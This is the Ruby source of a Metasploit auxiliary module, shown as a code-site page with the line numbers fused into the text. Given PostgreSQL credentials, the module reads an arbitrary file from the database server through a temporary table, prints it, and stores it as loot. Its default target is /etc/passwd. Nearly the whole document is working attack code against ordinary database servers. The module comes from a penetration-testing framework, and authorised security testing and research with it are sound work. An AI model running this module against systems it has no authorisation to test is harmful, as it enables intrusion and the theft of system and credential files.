Path: blob/master/modules/auxiliary/admin/postgres/postgres_readfile.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Postgres7include Msf::Auxiliary::Report8include Msf::OptionalSession::PostgreSQL910def initialize(info = {})11super(12update_info(13info,14'Name' => 'PostgreSQL Server Generic Query',15'Description' => %q{16This module imports a file local on the PostgreSQL Server into a17temporary table, reads it, and then drops the temporary table.18It requires PostgreSQL credentials with table CREATE privileges19as well as read privileges to the target file.20},21'Author' => [ 'todb' ],22'License' => MSF_LICENSE,23'Notes' => {24'Stability' => [CRASH_SAFE],25'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES],26'Reliability' => []27}28)29)3031register_options(32[33OptString.new('RFILE', [true, 'The remote file', '/etc/passwd'])34]35)3637deregister_options('SQL', 'RETURN_ROWSET')38end3940def rhost41datastore['RHOST']42end4344def rport45datastore['RPORT']46end4748def run49self.postgres_conn = session.client if session50ret = postgres_read_textfile(datastore['RFILE'])51case ret.keys[0]52when :conn_error53print_error "#{rhost}:#{rport} Postgres - Authentication failure, could not connect."54when :sql_error55case ret[:sql_error]56when /^C58P01/57print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} Postgres - No such file or directory."58vprint_status "#{postgres_conn.peerhost}:#{postgres_conn.peerport} Postgres - #{ret[:sql_error]}"59when /^C42501/60print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} Postgres - Insufficient file permissions."61vprint_status "#{postgres_conn.peerhost}:#{postgres_conn.peerport} Postgres - #{ret[:sql_error]}"62else63print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} Postgres - #{ret[:sql_error]}"64end65when :complete66loot = ''67ret[:complete].rows.each do |row|68print_line(row.first)69loot << row.first70end71# No idea what the actual ctype will be, text/plain is just a guess72path = store_loot('postgres.file', 'text/plain', postgres_conn.peerhost, loot, datastore['RFILE'])73print_good("#{postgres_conn.peerhost}:#{postgres_conn.peerport} Postgres - #{datastore['RFILE']} saved in #{path}")74vprint_good "#{postgres_conn.peerhost}:#{postgres_conn.peerport} Postgres - Command complete."75end76postgres_logout if postgres_conn && session.blank?77end78end798081